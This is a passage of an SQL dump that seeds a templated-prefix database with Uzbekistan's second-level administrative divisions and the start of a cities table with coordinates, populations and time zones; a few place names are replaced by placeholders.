`<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1513135','UZ','UZ.07','Navbahor Tumani','Navbahor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1513144','UZ','UZ.06','Norin Tumani','Norin Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1513156','UZ','UZ.06','Namangan Tumani','Namangan Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513193','UZ','UZ.01','Shahrikhon Tumani','Shahrikhon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1513202','UZ','UZ.15','Mirzachŭ<NAME>umani','Mirz<NAME>umani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513240','UZ','UZ.01','Marhamat Tumani','Marhamat Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1513269','UZ','UZ.13','Mirobod Tumani','Mirobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513270','UZ','UZ.01','Asaka Tumani','Asaka Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1513272','UZ','UZ.03','Uchko‘prik Tumani','Uchko`prik Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1513328','UZ','UZ.13','Mirzo Ulug‘bek Tumani','Mirzo Ulug`bek Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1513329','UZ','UZ.03','Quva Tumani','Quva Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513363','UZ','UZ.01','Qŭrghontepa Tumani','Qurghontepa Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1513472','UZ','UZ.10','Qo‘shrabot Tumani','Qo`shrabot Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1513477','UZ','UZ.05','Qo’shko’pir Tumani','Qo\'shko\'pir Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1513490','UZ','UZ.16','Mirzaobod Tumani','Mirzaobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513493','UZ','UZ.01','Ulug‘nor Tumani','Ulug`nor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1513498','UZ','UZ.14','Yuqori Chirchiq Tumani','Yuqori Chirchiq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1513546','UZ','UZ.13','Yunusobod Tumani','Yunusobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1513547','UZ','UZ.03','Beshariq Tumani','Beshariq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513598','UZ','UZ.01','Khŭjaobod Tumani','Khujaobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1513603','UZ','UZ.05','Xiva Tumani','Xiva Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1513610','UZ','UZ.05','Hazorasp Tumani','Hazorasp Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1513618','UZ','UZ.16','Khovos Tumani','Khovos Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1513622','UZ','UZ.07','Xatirchi Tumani','Xatirchi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1513635','UZ','UZ.05','Xonqa Tumani','Xonqa Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1513648','UZ','UZ.13','Hamza Tumani','Hamza Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1513713','UZ','UZ.06','Kosonsoy Tumani','Kosonsoy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1513732','UZ','UZ.09','Qorao‘zak Tumani','Qorao`zak Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1513830','UZ','UZ.07','Konimex Tumani','Konimex Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1513860','UZ','UZ.14','Zangiota Tumani','Zangiota Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513888','UZ','UZ.01','Izboskan Tumani','Izboskan Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1513952','UZ','UZ.16','Sharof-Rashidow Tumani','Sharof-Rashidow Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1513961','UZ','UZ.05','Gurlan Tumani','Gurlan Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1513967','UZ','UZ.16','Guliston Tumani','Guliston Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1513982','UZ','UZ.02','Ghijduwon Tumani','Ghijduwon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514010','UZ','UZ.14','Quyi Chirchiq Tumani','Quyi Chirchiq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514016','UZ','UZ.03','Dang‘ara Tumani','Dang`ara Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514017','UZ','UZ.03','Farg‘ona Tumani','Farg`ona Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1514024','UZ','UZ.15','Forish Tumani','Forish Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1514037','UZ','UZ.09','Ellikqala Tumani','Ellikqala Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1514068','UZ','UZ.15','Jizzax Tumani','Jizzax Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1514108','UZ','UZ.01','Jalolkuduk Tumani','Jalolkuduk Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1514124','UZ','UZ.15','Dŭstlik Tumani','Dustlik Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1514190','UZ','UZ.06','Chust Tumani','Chust Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514214','UZ','UZ.14','Chinoz Tumani','Chinoz Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1514229','UZ','UZ.13','Ch<NAME>','Chilonzor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514299','UZ','UZ.03','Buvayda Tumani','Buvayda Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514327','UZ','UZ.14','Bŭka Tumani','Buka Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1514336','UZ','UZ.01','Bo‘z Tumani','Bo`z Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514338','UZ','UZ.14','Bŭstonliq Tumani','Bustonliq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1514386','UZ','UZ.09','Beruniy Tumani','Beruniy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514399','UZ','UZ.14','Bekobod Tumani','Bekobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1514430','UZ','UZ.16','Boyowut Tumani','Boyowut Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1514451','UZ','UZ.01','Baliqchi Tumani','Baliqchi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514482','UZ','UZ.03','Bag‘dod Tumani','Bag`dod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1514485','UZ','UZ.05','Boghot Tumani','Boghot Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1514555','UZ','UZ.15','Arnasoy Tumani','Arnasoy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1514584','UZ','UZ.01','Andijon Tumani','Andijon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1514593','UZ','UZ.09','Amudaryo Tumani','Amudaryo Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1514606','UZ','UZ.01','Oltinkŭl Tumani','Oltinkul Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514616','UZ','UZ.03','Oltiariq Tumani','Oltiariq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1514665','UZ','UZ.13','Akmal Ikromow Tumani','Akmal Ikromow Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514667','UZ','UZ.14','Oqqŭrghon Tumani','Oqqurghon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1514681','UZ','UZ.03','Oxunboboyev Tumani','Oxunboboyev Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1514687','UZ','UZ.14','Ohangaron Tumani','Ohangaron Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1514705','UZ','UZ.16','Oqoltin Tumani','Oqoltin Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1536760','UZ','UZ.13','Bektemir Tumani','Bektemir Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1536761','UZ','UZ.13','Yakkasaroy Tumani','Yakkasaroy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1538226','UZ','UZ.05','Urganch Shahri','Urganch Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1538227','UZ','UZ.05','Pitnak Shahri','Pitnak Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1538228','UZ','UZ.05','Khiwa Shahri','Khiwa Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1538236','UZ','UZ.02','G’ijduvon Tumani','G\'ijduvon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1538240','UZ','UZ.15','<NAME>','J<NAME>ri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538246','UZ','UZ.16','Mehnatobod Tumani','Mehnatobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538249','UZ','UZ.16','<NAME>ri','Guliston Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538250','UZ','UZ.16','<NAME>ri','Sirdaryo Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538251','UZ','UZ.16','<NAME>','Shirin Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538252','UZ','UZ.16','Yangiyer Shahri','Yangiyer Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1538253','UZ','UZ.16','Bakht Shahri','Bakht Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1538254','UZ','UZ.12','Yangiyŭl Tumani','Yangiyul Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538256','UZ','UZ.14','Olmaliq Shahri','Olmaliq Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538257','UZ','UZ.14','<NAME>ri','Ang<NAME>ri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538258','UZ','UZ.14','<NAME>','<NAME>',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538259','UZ','UZ.14','Bekobod Shahri','Bekobod Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538260','UZ','UZ.14','Chirchiq Shahri','Chirchiq Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1538261','UZ','UZ.14','Yangiobod Shahri','Yangiobod Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1538272','UZ','UZ.06','Chortoq Tumani','Chortoq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1538277','UZ','UZ.06','Chust Tumani','Chust Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538281','UZ','UZ.01','Buloqboshi Tumani','Buloqboshi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538282','UZ','UZ.01','<NAME>','Andijon Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538283','UZ','UZ.01','Asaka Shahri','Asaka Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538284','UZ','UZ.01','Qorasuw Shahri','Qorasuw Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538285','UZ','UZ.01','Khonobod Shahri','Khonobod Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1538286','UZ','UZ.01','Shahrikhon Shahri','Shahrikhon Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538294','UZ','UZ.03','Furqat Tumani','Furqat Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538295','UZ','UZ.03','So‘x Tumani','So`x Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538296','UZ','UZ.03','Farg‘ona Shahri','Farg`ona Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538297','UZ','UZ.03','Qo‘qon Shahri','Qo`qon Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538298','UZ','UZ.03','Quva Shahri','Quva Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538299','UZ','UZ.03','Quvasoy Shahri','Quvasoy Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1538300','UZ','UZ.03','Marg‘ilon Shahri','Marg`ilon Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.7668818','UZ','UZ.03','Altyarik','Altyarik',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.7668819','UZ','UZ.03','Bagdad','Bagdad',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.7668820','UZ','UZ.03','Rishtan','Rishtan',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.7668830','UZ','UZ.01','Ulugnar','Ulugnar',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.7668831','UZ','UZ.02','Alat','Alat',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.7668833','UZ','UZ.08','Mirishkar','Mirishkar',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.7668834','UZ','UZ.10','Pastdargom','Pastdargom',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.7668840','UZ','UZ.16','Bayaut','Bayaut',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.7668842','UZ','UZ.03','Yazyavan','Yazyavan',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.8714362','UZ','UZ.08','Kamashi District','Kamashi District',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.8714363','UZ','UZ.08','Guzar District','Guzar District',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.8714365','UZ','UZ.07','Navbakhor Tumani','Navbakhor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.9166490','UZ','UZ.10','Toyloq District','Toyloq District',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.11611821','UZ','UZ.06','Pap District','Pap District',1); /*!40000 ALTER TABLE `<<prefix>>subadmin2` ENABLE KEYS */; -- -- Dumping data for table `<<prefix>>cities` -- /*!40000 ALTER TABLE `<<prefix>>cities` DISABLE KEYS */; INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Nukus','Nukus',59.6103,42.4531,'P','PPLA','UZ.09',NULL,230006,'Asia/Samarkand',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Mŭynoq','Muynoq',59.0214,43.7683,'P','PPL','UZ.09',NULL,13000,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Xo‘jayli Shahri','Xo`jayli Shahri',59.4454,42.4088,'P','PPLA2','UZ.09',NULL,50000,'Asia/Samarkand',1,'2019-10-08 23:00:00','2019-10-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',59.6078,42.7767,'P','PPLA2','UZ.09',NULL,14147,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Oltinko‘l','Oltinko`l',58.9037,43.0687,'P','PPL','UZ.09',NULL,59122,'Asia/Samarkand',1,'2016-10-06 23:00:00','2016-10-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',68.3958,39.9606,'P','PPLA2','UZ.15',NULL,27077,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','N<NAME>',65.6751,38.694,'P','PPL','UZ.08',NULL,10558,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Urgut Shahri','Urgut Shahri',67.2612,39.419,'P','PPLA2','UZ.10',NULL,47373,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Tirmiz','Tirmiz',67.2783,37.2242,'P','PPLA','UZ.12',NULL,140385,'Asia/Samarkand',1,'2011-07-08 23:00:00','2011-07-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Sho‘rchi','Sho`rchi',67.7875,37.9994,'P','PPL','UZ.12',NULL,24900,'Asia/Samarkand',1,'2016-10-06 23:00:00','2016-10-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Shahrisabz','Shahrisabz',66.8342,39.0578,'P','PPL','UZ.08',NULL,57051,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Shohimardon','Shohimardon',71.8051,39.9832,'P','PPL','UZ.03',NULL,5100,'Asia/Bishkek',1,'2012-09-05 23:00:00','2012-09-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Samarkand','Samarkand',66.9597,39.6542,'P','PPLA','UZ.10',NULL,319366,'Asia/Samarkand',1,'2019-01-08 23:00:00','2019-01-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, 